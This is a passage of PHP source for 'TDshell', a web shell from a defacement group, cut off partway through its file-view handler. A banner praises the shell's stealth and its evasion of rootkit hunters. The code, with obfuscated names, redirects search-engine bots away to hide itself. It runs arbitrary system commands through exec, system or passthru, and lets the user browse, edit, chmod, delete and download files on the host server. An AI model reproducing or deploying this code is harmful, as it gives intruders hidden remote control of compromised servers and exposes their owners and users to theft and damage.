/** _______ _ _____ __ _ |__ __| | | __ \ / _| | | | | | |__ ___| | | | ___| |_ __ _ ___ ___ __| | | | | '_ \ / _ \ | | |/ _ \ _/ _` |/ __/ _ \/ _` | | | | | | | __/ |__| | __/ || (_| | (_| __/ (_| | |_| |_| |_|\___|_____/ \___|_| \__,_|\___\___|\__,_| _____ _ _ _______ / ____| (_) | |__ __| | (___ ___ ___ _ _ _ __ _| |_ _ _ | | ___ __ _ _ __ ___ \___ \ / _ \/ __| | | | '__| | __| | | | | |/ _ \/ _` | '_ ` _ \ ____) | __/ (__| |_| | | | | |_| |_| | | | __/ (_| | | | | | | |_____/ \___|\___|\__,_|_| |_|\__|\__, | |_|\___|\__,_|_| |_| |_| __/ | |___/ __________________________________________________________________ |------------------------[ TDshell v0.1 ]------------------------| | [ � 2005 -> 2008 TheDefaced Security Team ] | /------------------------------------------------------------------\ \ / \ ___________________ .__ .__ .__ / \ \__ ___/\______ \ _____| |__ ____ | | | | / \ | | | | \ / ___/ | \_/ __ \| | | | / / | | | ` \\___ \| Y \ ___/| |_| |__ \ / |____| /_______ /____ >___| /\___ >____/____/ \ \ \/ \/ \/ \/ / \____________________________________________________________/ | | |------------------------[ CREDITS ]------------------------| | | | www.TheDefaced.org | | * DeadlyData | | * Debug | | * Kr3w | | * Tr3mbl3r | | * xaNax` | | * Blood420 | \ / |#######################################################| / \ | | |-----------------------[ FEATURES! ]-----------------------| | | | TDshell contains a lot of features. Mainly, TDshell was | | developed to alleviate what other shells left behind. | | Other shells can brag the ability to do this and that, | | but in the end what makes a shell, a shell? We think a | | shell should have stealth. It should be fast to load, use | | little memory, avoid logging from rootkit hunters, be | | modern, and simply do exactly what you want it to do. The | | style must be simple. It should allow for the execution | | of your commands, the implimentation of every feature | | necessary with sleek control and seemless ability. Not | | only does TDshell aim to be the most stealthiest, but the | | most powerful all-around shell ever created. | \ / |#######################################################| / \ |------------------------[ HISTORY ]------------------------| | | | TDshell was created to impliment the look and feel that a | | shell should have, the features and speed that a shell | | should have, and the endless limits of post-development | | for everyone. | | | | The core of TDshell is a strong shell processing system. | | Yes, TDshell has object oriented elements, whether you | | like it or not. It is extensive enough to have to include | | a system as such. The object oriented system within | | does not include OOP Class Constructs and Features that | | are not available with PHP 4. This is due to the fact | | that many new features to OOP in PHP 5 were added, and to | | limit the version requirements of this shell such | | features have not been implimented. | | | | TDshell will not log any activity using the shell. No | | information regarding this shell location, queries, or | | executions of code will be logged to another server. | \ / |#######################################################| / \ |---------------------[ DOCUMENTATION ]---------------------| | | | Please review the documentation of TDshell at TheDefaced | | TDshell Project Page on http://tdshell.thedefaced.org. | \ / |#######################################################| / \ /___________________________________________________________\ **/ if (substr_count(strtolower($_SERVER['HTTP_USER_AGENT']), "bot")) { @header("Location: http://thedefaced.org/"); exit; }; function current_URI() { $_42a6152a4d7c7d957669c6d70dc5ba87 = 'http'; if ($_SERVER["HTTPS"] == "on") { $_42a6152a4d7c7d957669c6d70dc5ba87 .= "s"; }; $_42a6152a4d7c7d957669c6d70dc5ba87 .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["SCRIPT_NAME"]; } else { $_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"]; }; return $_42a6152a4d7c7d957669c6d70dc5ba87; }; function natsort2d(&$_6f3f41fdac2563c0cd2246cb5a507861) { $_8b950f1de0291b3d751c9073c331b045 = $_3abe5e58427863cb52d841b2e474b99d = array(); foreach ($_6f3f41fdac2563c0cd2246cb5a507861 as $_4377314b1cecdbac9a384c43c42c6b48=>$_d52f547da0e098832b6b81469d36c48b) { reset($_d52f547da0e098832b6b81469d36c48b); $_8b950f1de0291b3d751c9073c331b045[$_4377314b1cecdbac9a384c43c42c6b48]=current($_d52f547da0e098832b6b81469d36c48b); } natsort($_8b950f1de0291b3d751c9073c331b045); foreach ($_8b950f1de0291b3d751c9073c331b045 as $_4377314b1cecdbac9a384c43c42c6b48=>$_d52f547da0e098832b6b81469d36c48b) { $_3abe5e58427863cb52d841b2e474b99d[$_4377314b1cecdbac9a384c43c42c6b48] = $_6f3f41fdac2563c0cd2246cb5a507861[$_4377314b1cecdbac9a384c43c42c6b48]; } $_6f3f41fdac2563c0cd2246cb5a507861 = $_3abe5e58427863cb52d841b2e474b99d; } function getmicrotime() { $_f1aa244866e1fc41fe62f3b7ccb03607 = split(" ",microtime()); $_1392ef521657c311e39af249669c5c4c = $_f1aa244866e1fc41fe62f3b7ccb03607[0] + $_f1aa244866e1fc41fe62f3b7ccb03607[1]; return $_1392ef521657c311e39af249669c5c4c; }; function view_size($_d01b1d6ca02250dd3186b3eb5feeca75) { if (!is_numeric($_d01b1d6ca02250dd3186b3eb5feeca75)) {return FALSE;} else { if ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1073741824) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1073741824*100)/100 ." GB";} elseif ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1048576) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1048576*100)/100 ." MB";} elseif ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1024) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1024*100)/100 ." KB";} else {$_d01b1d6ca02250dd3186b3eb5feeca75 = $_d01b1d6ca02250dd3186b3eb5feeca75 . " B";} return $_d01b1d6ca02250dd3186b3eb5feeca75; } }; if ( !function_exists('htmlspecialchars_decode') ) { function htmlspecialchars_decode($_33343500153dd2bfdb71207b3a2efb0b) { return strtr($_33343500153dd2bfdb71207b3a2efb0b, array_flip(get_html_translation_table(HTML_SPECIALCHARS))); }; }; function processdir($_2211b5dc6bb7947adcb0bf14cee6591e) { $_2211b5dc6bb7947adcb0bf14cee6591e = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e); $_2211b5dc6bb7947adcb0bf14cee6591e = @explode(DIRECTORY_SEPARATOR, $_2211b5dc6bb7947adcb0bf14cee6591e); $_2211b5dc6bb7947adcb0bf14cee6591e = @array_reverse($_2211b5dc6bb7947adcb0bf14cee6591e); foreach ($_2211b5dc6bb7947adcb0bf14cee6591e as $_120c29d6a17d23d38cf83c73ee28474a => $_dbb9cf7861c2b08674858b1c5ed255d3) { $_4015b8ddbb3792b7cea9b691c444f9bb = @implode(DIRECTORY_SEPARATOR, @array_reverse($_2211b5dc6bb7947adcb0bf14cee6591e)); $_a9e5405d6581811dbff46e9ca3280bc1[] = $GLOBALS['TDshell']->make_link("list", array("dir" => $_4015b8ddbb3792b7cea9b691c444f9bb . DIRECTORY_SEPARATOR), @htmlspecialchars($_dbb9cf7861c2b08674858b1c5ed255d3) . DIRECTORY_SEPARATOR); unset($_2211b5dc6bb7947adcb0bf14cee6591e[$_120c29d6a17d23d38cf83c73ee28474a]); }; $_a9e5405d6581811dbff46e9ca3280bc1 = @array_reverse($_a9e5405d6581811dbff46e9ca3280bc1); $_a9e5405d6581811dbff46e9ca3280bc1 = @implode("", $_a9e5405d6581811dbff46e9ca3280bc1); return $_a9e5405d6581811dbff46e9ca3280bc1; }; if (!@function_exists("htmlspecialchars_decode")) { function htmlspecialchars_decode($_5fa3317a9a640ed74c5f9247474ed574, $_59588925eec423f30d40b21b1ed1668e = ENT_COMPAT) { return strtr($_5fa3317a9a640ed74c5f9247474ed574, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $_59588925eec423f30d40b21b1ed1668e))); }; }; function delete_directory($_03bc224b8d2f7aeadafb2048d91c8f5e) { $_82c6138b62efd9e0b5bd91204b1d854b = @opendir($_03bc224b8d2f7aeadafb2048d91c8f5e); while(($_3de8e09f12e75d6214bb6e7720875bf2 = @readdir($_82c6138b62efd9e0b5bd91204b1d854b)) !== FALSE) { if ($_3de8e09f12e75d6214bb6e7720875bf2 != "." && $_3de8e09f12e75d6214bb6e7720875bf2 != "..") { if (!@is_dir($_03bc224b8d2f7aeadafb2048d91c8f5e."/".$_3de8e09f12e75d6214bb6e7720875bf2)) @unlink($_03bc224b8d2f7aeadafb2048d91c8f5e."/".$_3de8e09f12e75d6214bb6e7720875bf2); else delete_directory($_03bc224b8d2f7aeadafb2048d91c8f5e.'/'.$_3de8e09f12e75d6214bb6e7720875bf2); } } @closedir($_82c6138b62efd9e0b5bd91204b1d854b); if (@rmdir($_03bc224b8d2f7aeadafb2048d91c8f5e)) { return true; }; return false; }; function is_disabled($_d24fdc60af9ffefb892a8c20a6f28f0f) { $_3f595d48284da121e82e9fba50f8ae78=@explode(',',@ini_get('disable_functions')); return @in_array($_d24fdc60af9ffefb892a8c20a6f28f0f, $_3f595d48284da121e82e9fba50f8ae78); } function custom_exec($_43b464f69048e498f740f7449de30b58) { if (!is_disabled("exec")) { @exec($_43b464f69048e498f740f7449de30b58, $_c378b53352ff491652530ac000f8d120); return @implode("\n", $_c378b53352ff491652530ac000f8d120); } elseif (!is_disabled("system")) { @ob_start(); @system($_43b464f69048e498f740f7449de30b58); $_a9e5405d6581811dbff46e9ca3280bc1 = @ob_get_clean(); return $_a9e5405d6581811dbff46e9ca3280bc1; } elseif (!is_disabled("passthru")) { @ob_start(); @passthru($_43b464f69048e498f740f7449de30b58); $_a9e5405d6581811dbff46e9ca3280bc1 = @ob_get_clean(); return $_a9e5405d6581811dbff46e9ca3280bc1; } else { return FALSE; } } function listDir($_2211b5dc6bb7947adcb0bf14cee6591e) { $_7924ccf53d944b2d8320d10d54548e29 = array(); $_ae816068878d4783e70eeef9284475f4 = array(); $_fd614daccd49afd7833e083628860ad5 = array(); $_c14f19c15d50e72a5733c0ad88a035b9 = @opendir($_2211b5dc6bb7947adcb0bf14cee6591e); while (($_b6525f529051ff28fa112494d8e2d5a3 = @readdir($_c14f19c15d50e72a5733c0ad88a035b9)) !== FALSE) { $_d69e2bdf98584fc6cce9c9f9a9eb8b6a[] = $_b6525f529051ff28fa112494d8e2d5a3; }; @closedir($_c14f19c15d50e72a5733c0ad88a035b9); foreach ($_d69e2bdf98584fc6cce9c9f9a9eb8b6a as $_e702a6d41125002051486e5e72b66d74) { if ($_e702a6d41125002051486e5e72b66d74 == ".") { $_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . "." . DIRECTORY_SEPARATOR; } elseif ($_e702a6d41125002051486e5e72b66d74 == "..") { $_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . ".." . DIRECTORY_SEPARATOR; } elseif (@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74)) { if (@is_link($_e702a6d41125002051486e5e72b66d74)) { $_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74 . DIRECTORY_SEPARATOR; } else { $_fd614daccd49afd7833e083628860ad5[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74 . DIRECTORY_SEPARATOR; }; } elseif (@is_file($_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74)) { $_7924ccf53d944b2d8320d10d54548e29[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74; } else { $_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74; }; }; foreach ($_7924ccf53d944b2d8320d10d54548e29 as $_4377314b1cecdbac9a384c43c42c6b48 => $_3de8e09f12e75d6214bb6e7720875bf2) { $_86cc5dffb9c95119ecd61c5ce2502cbc[@htmlspecialchars(@basename($_3de8e09f12e75d6214bb6e7720875bf2))] = @realpath($_3de8e09f12e75d6214bb6e7720875bf2); }; foreach ($_fd614daccd49afd7833e083628860ad5 as $_4377314b1cecdbac9a384c43c42c6b48 => $_2211b5dc6bb7947adcb0bf14cee6591e) { $_929bdda99ead5652737dc2edefe9b0c4[@htmlspecialchars(@basename($_2211b5dc6bb7947adcb0bf14cee6591e))] = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e); }; foreach ($_ae816068878d4783e70eeef9284475f4 as $_4377314b1cecdbac9a384c43c42c6b48 => $_74bd500a4b44ea6a823f6199ccdb62a8) { $_022d200e9529826ec8ed110a68478d28[@htmlspecialchars(@basename($_74bd500a4b44ea6a823f6199ccdb62a8))] = @realpath($_74bd500a4b44ea6a823f6199ccdb62a8); }; @natsort($_86cc5dffb9c95119ecd61c5ce2502cbc); @natsort($_929bdda99ead5652737dc2edefe9b0c4); @natsort($_022d200e9529826ec8ed110a68478d28); return array("FILES" => $_86cc5dffb9c95119ecd61c5ce2502cbc, "DIRS" => $_929bdda99ead5652737dc2edefe9b0c4, "LINKS" => $_022d200e9529826ec8ed110a68478d28); } function recursiveDirectoryResponse($_2211b5dc6bb7947adcb0bf14cee6591e) { $_2211b5dc6bb7947adcb0bf14cee6591e = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e); if (!@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e)) { return FALSE; }; $_c14f19c15d50e72a5733c0ad88a035b9 = @opendir($_2211b5dc6bb7947adcb0bf14cee6591e); $_35822b5d3e252c2cd76a8cfd0bc9215b = array(); while (($_b6525f529051ff28fa112494d8e2d5a3 = @readdir($_c14f19c15d50e72a5733c0ad88a035b9)) !== FALSE) { if ($_b6525f529051ff28fa112494d8e2d5a3 !== "." && $_b6525f529051ff28fa112494d8e2d5a3 !== "..") { if (@is_dir($_b6525f529051ff28fa112494d8e2d5a3) && !isset($_35822b5d3e252c2cd76a8cfd0bc9215b[$_b6525f529051ff28fa112494d8e2d5a3 . DIRECTORY_SEPARATOR])) { $_35822b5d3e252c2cd76a8cfd0bc9215b[$_b6525f529051ff28fa112494d8e2d5a3 . DIRECTORY_SEPARATOR] = recursiveDirectoryResponse($_b6525f529051ff28fa112494d8e2d5a3); } else { $_35822b5d3e252c2cd76a8cfd0bc9215b[] = $_b6525f529051ff28fa112494d8e2d5a3; }; }; }; return $_35822b5d3e252c2cd76a8cfd0bc9215b; } function file_perms($_3de8e09f12e75d6214bb6e7720875bf2, $_7c6634f9e5e8cd23040778e99232dff3 = false) { if(!@file_exists($_3de8e09f12e75d6214bb6e7720875bf2)) return false; $_13f531c0ca48f6a5f8315121bf59ffaa = @fileperms($_3de8e09f12e75d6214bb6e7720875bf2); $_cbc4b619c09cd3060d1699bd1b6ec197 = $_7c6634f9e5e8cd23040778e99232dff3 ? 2 : 3; return @substr(@decoct($_13f531c0ca48f6a5f8315121bf59ffaa), $_cbc4b619c09cd3060d1699bd1b6ec197); } function view_perms($_65fa4fdb4dc96ba9c4f2629446b1acf9) { if (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0xC000) === 0xC000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "s";} elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x4000) === 0x4000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "d";} elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0xA000) === 0xA000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "l";} elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x8000) === 0x8000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "-";} elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x6000) === 0x6000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "b";} elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x2000) === 0x2000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "c";} elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x1000) === 0x1000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "p";} else {$_78f05392f016a05e28dc87c1d3bd52a2 = "?";} $_08a8bc95aa954433522d6e8773049cbc["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00400)?"r":"-"; $_08a8bc95aa954433522d6e8773049cbc["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00200)?"w":"-"; $_08a8bc95aa954433522d6e8773049cbc["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00100)?"x":"-"; $_aeaf1179391a94c353c7eb37a0e3ec8b["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00040)?"r":"-"; $_aeaf1179391a94c353c7eb37a0e3ec8b["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00020)?"w":"-"; $_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00010)?"x":"-"; $_be187a6755c5e72374d46fcbc1c4fe57["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00004)?"r":"-"; $_be187a6755c5e72374d46fcbc1c4fe57["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00002)? "w":"-"; $_be187a6755c5e72374d46fcbc1c4fe57["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00001)?"x":"-"; if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x800) {$_08a8bc95aa954433522d6e8773049cbc["execute"] = ($_08a8bc95aa954433522d6e8773049cbc["execute"] == "x")?"s":"S";} if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x400) {$_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] = ($_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] == "x")?"s":"S";} if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x200) {$_be187a6755c5e72374d46fcbc1c4fe57["execute"] = ($_be187a6755c5e72374d46fcbc1c4fe57["execute"] == "x")?"t":"T";} return $_78f05392f016a05e28dc87c1d3bd52a2.join("",$_08a8bc95aa954433522d6e8773049cbc).join("",$_aeaf1179391a94c353c7eb37a0e3ec8b).join("",$_be187a6755c5e72374d46fcbc1c4fe57); } function view_perms_color($_3bf3fbc5fc401a716348815f5e794920) { if (!@is_readable($_3bf3fbc5fc401a716348815f5e794920)) {return "<font color=red>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";} elseif (!@is_writable($_3bf3fbc5fc401a716348815f5e794920)) {return "<font color=white>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";} else {return "<font color=green>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";} } Class _463f641c8747ebe94fafef7333a99b45 { var $TDshell_version = "TDshell v0.1 - Beta"; var $TDshell_template = array(); var $TDshell_data = ""; var $TDshell_time_start = ""; var $TDshell_time_end = ""; function init() { $_a3ae37119660c8023a43787f58268912 = $_GET['proc']; unset($_GET['proc']); $_2e5c25529adea7d7ad4802936aee0b48 = $_GET['act']; unset($_GET['act']); $this->TDshell_time_start = getmicrotime(); if ($_a3ae37119660c8023a43787f58268912 != "out") { $this->header(); } if (!empty($_GET['args'])) { $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = $_GET['args']; $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = @explode("-", $_ec4ae32bf3e3a09bae7ff3e84ebbc667); foreach ($_ec4ae32bf3e3a09bae7ff3e84ebbc667 as $_f16aff67f7495b01405d8cd6181766f0) { list($_d3befca3813d65aff84c2353e705a0dd, $_dd5a91d0c375489fc194ecfe1da2e38a) = @explode(":", @base64_decode($_f16aff67f7495b01405d8cd6181766f0), 2); $_8cc898f326427ea2223c7150e5b6537c[$_d3befca3813d65aff84c2353e705a0dd] = $_dd5a91d0c375489fc194ecfe1da2e38a; }; $this->process($_2e5c25529adea7d7ad4802936aee0b48, $_8cc898f326427ea2223c7150e5b6537c); } else { $this->process($_2e5c25529adea7d7ad4802936aee0b48); }; $this->TDshell_time_end = getmicrotime(); if ($_a3ae37119660c8023a43787f58268912 != "out") { $this->footer("" . $this->TDshell_time_end - $this->TDshell_time_start . ""); } $this->outall(); } function process($_2e5c25529adea7d7ad4802936aee0b48 = "", $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = array()) { switch($_2e5c25529adea7d7ad4802936aee0b48) { case "list": $_2211b5dc6bb7947adcb0bf14cee6591e = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['dir']; if (empty($_2211b5dc6bb7947adcb0bf14cee6591e)) { $this->process("list", array("dir" => "." . DIRECTORY_SEPARATOR)); return FALSE; }; if (!@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e)) { $this->out("Problem listing directory; directory does not exist or cannot be read from."); return FALSE; }; $_8e1c807f3c845b208dba4430e64f4d94 = listDir($_2211b5dc6bb7947adcb0bf14cee6591e); $this->out("<b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . " " . view_perms_color($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>"); $this->out("<center><span style='font-size:12px'><b>Listing " . @count($_8e1c807f3c845b208dba4430e64f4d94['DIRS']) . " directories and " . @count($_8e1c807f3c845b208dba4430e64f4d94['FILES']) . " files.</b></span></center>"); if (empty($_8e1c807f3c845b208dba4430e64f4d94['LINKS'])) { $this->out("Problem listing directory; directory does not exist or cannot be read from."); return FALSE; }; $this->out("<table width=100% padding=1> <tr> <th nowrap> Name </th> <th nowrap> Size </th> <th nowrap> Modified </th> <th nowrap> Owner|Group </th> <th nowrap> Permissions </th> <th nowrap> Action </th> </tr>"); if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['LINKS'])) foreach ($_8e1c807f3c845b208dba4430e64f4d94['LINKS'] as $_a70fd9147fda16858f57fe0479d66df0 => $_bf765329c68fb45566ab3b1af145d2c2) { $this->out("<tr>"); $this->out("<td><b>" . $this->make_link("list", array("dir" => $_bf765329c68fb45566ab3b1af145d2c2 . DIRECTORY_SEPARATOR), $_a70fd9147fda16858f57fe0479d66df0) . "</b></td>"); $this->out("<td>LINK</td>"); $_ca3b4c9ef3a45b7d6dc6af03bad1367b = @posix_getpwuid(@fileowner($_bf765329c68fb45566ab3b1af145d2c2)); $_35b2f08320a2169a648d2377cae768d3 = @posix_getgrgid(@filegroup($_bf765329c68fb45566ab3b1af145d2c2)); $_ca3b4c9ef3a45b7d6dc6af03bad1367b = $_ca3b4c9ef3a45b7d6dc6af03bad1367b["name"]; $_35b2f08320a2169a648d2377cae768d3 = $_35b2f08320a2169a648d2377cae768d3["name"]; $this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_bf765329c68fb45566ab3b1af145d2c2)) . "</td>"); $this->out("<td>$_ca3b4c9ef3a45b7d6dc6af03bad1367b|$_35b2f08320a2169a648d2377cae768d3</td>"); $this->out("<td><span title='" . @substr(@decoct(@fileperms($_bf765329c68fb45566ab3b1af145d2c2)),-4,4) . "'>" . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "chmod"), view_perms_color($_bf765329c68fb45566ab3b1af145d2c2)) . "</span></td>"); $this->out("<td>" . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "info"), "[info]") . " - " . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "chmod"), "[chmod]") . " - " . $this->make_link("dir", array("name" => $_bf765329c68fb45566ab3b1af145d2c2, "act" => "delete"), "[delete]") . "</td>"); $this->out("</tr>"); } if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['DIRS'])) foreach ($_8e1c807f3c845b208dba4430e64f4d94['DIRS'] as $_23e43c1054e39145ffd2c948f87f107c => $_b52f6a3170e004ef525cff1e536b7427) { $this->out("<tr>"); $this->out("<td><b>[" . $this->make_link("list", array("dir" => $_b52f6a3170e004ef525cff1e536b7427 . DIRECTORY_SEPARATOR), $_23e43c1054e39145ffd2c948f87f107c) . "]</b></td>"); $this->out("<td>" . view_size(@filesize($_b52f6a3170e004ef525cff1e536b7427)) . "</td>"); $_a7fcd5fac3ae867f8cdb4eb46a683477 = @posix_getpwuid(@fileowner($_b52f6a3170e004ef525cff1e536b7427)); $_82e66704cd450201cf5168d64d52a4d3 = @posix_getgrgid(@filegroup($_b52f6a3170e004ef525cff1e536b7427)); $_a7fcd5fac3ae867f8cdb4eb46a683477 = $_a7fcd5fac3ae867f8cdb4eb46a683477["name"]; $_82e66704cd450201cf5168d64d52a4d3 = $_82e66704cd450201cf5168d64d52a4d3["name"]; $this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_b52f6a3170e004ef525cff1e536b7427)) . "</td>"); $this->out("<td>$_a7fcd5fac3ae867f8cdb4eb46a683477|$_82e66704cd450201cf5168d64d52a4d3</td>"); $this->out("<td><span title='" . @substr(@decoct(@fileperms($_b52f6a3170e004ef525cff1e536b7427)),-4,4) . "'>" . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "chmod"), view_perms_color($_b52f6a3170e004ef525cff1e536b7427)) . "</span></td>"); $this->out("<td>" . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "info"), "[info]") . " - " . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "chmod"), "[chmod]") . " - " . $this->make_link("dir", array("name" => $_b52f6a3170e004ef525cff1e536b7427, "act" => "delete"), "[delete]") . "</td>"); $this->out("</tr>"); } if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['FILES'])) foreach ($_8e1c807f3c845b208dba4430e64f4d94['FILES'] as $_0136b647df83da4bb9a70b41420d9e05 => $_f3f7e9f4a6ad2cc07b147484d501377d) { $_ed02210e63e304003de8ccd669607668 = view_size(@filesize($_f3f7e9f4a6ad2cc07b147484d501377d)); $_8501d6dd59b45b2159f1f73f6e17b11f = @md5(microtime() . $_0136b647df83da4bb9a70b41420d9e05); $this->out("<tr>"); $this->out("<td><b><span title='$_0136b647df83da4bb9a70b41420d9e05 - Size: " . $_ed02210e63e304003de8ccd669607668 . "'>" . $this->make_link("file", array("name" => $_f3f7e9f4a6ad2cc07b147484d501377d, "act" => "view"), $_0136b647df83da4bb9a70b41420d9e05). "</span></b></td>"); $this->out("<td>" . $_ed02210e63e304003de8ccd669607668 . "</td>"); $_d2f5e3cb12e93bae6c4981faf06db693 = @posix_getpwuid(@fileowner($_f3f7e9f4a6ad2cc07b147484d501377d)); $_048403d36ad14f408d11cb9c81b09d29 = @posix_getgrgid(@filegroup($_f3f7e9f4a6ad2cc07b147484d501377d)); $_d2f5e3cb12e93bae6c4981faf06db693 = $_d2f5e3cb12e93bae6c4981faf06db693["name"]; $_048403d36ad14f408d11cb9c81b09d29 = $_048403d36ad14f408d11cb9c81b09d29["name"]; $this->out("<td>" . @date ("F d Y H:i:s.", @filemtime($_f3f7e9f4a6ad2cc07b147484d501377d)) . "</td>"); $this->out("<td>$_d2f5e3cb12e93bae6c4981faf06db693|$_048403d36ad14f408d11cb9c81b09d29</td>"); $this->out("<td><span title='" . @substr(@decoct(@fileperms($_f3f7e9f4a6ad2cc07b147484d501377d)),-4,4) . "'>" . $this->make_link("file", array("name" => $_f3f7e9f4a6ad2cc07b147484d501377d, "act" => "chmod"), view_perms_color($_f3f7e9f4a6ad2cc07b147484d501377d)) . "</span></td>"); $_55b73f20aeec06c5111b6ba95bf29532 = @md5_file($_f3f7e9f4a6ad2cc07b147484d501377d); if (!@preg_match("/^[A-Fa-f0-9]{32}$/", $_55b73f20aeec06c5111b6ba95bf29532)) { $_55b73f20aeec06c5111b6ba95bf29532 = "Not Available"; }; $this->out("<td>" . $this->make_link("file", array("act" => "edit", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[edit]") . ' - ' . $this->make_link("file", array("act" => "delete", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[delete]") . ' - ' . $this->make_link("file", array("act" => "view", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[view]") . ' - <a href="' . $this->make_link("file", array("act" => "download", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), NULL, TRUE) . '" target="_blank">[download]</a> - <a href="javascript:;" onclick=\'itemShowHide("list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\' title=\'' . $_55b73f20aeec06c5111b6ba95bf29532 . '\'>[MD5]</a><a id="button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>MD5 Hash: </b>' . $_55b73f20aeec06c5111b6ba95bf29532 . '</div>' . "</td>"); $this->out("</tr>"); } $this->out("</table>"); break; case "file": $_2e5c25529adea7d7ad4802936aee0b48 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['act']; $_d3befca3813d65aff84c2353e705a0dd = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['name']; if (empty($_2e5c25529adea7d7ad4802936aee0b48)) { $this->out("<center><b>Error: no act was specified</b></center>"); return FALSE; }; if ($_2e5c25529adea7d7ad4802936aee0b48 == "view") { if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd)) { $this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>"); return FALSE; }; 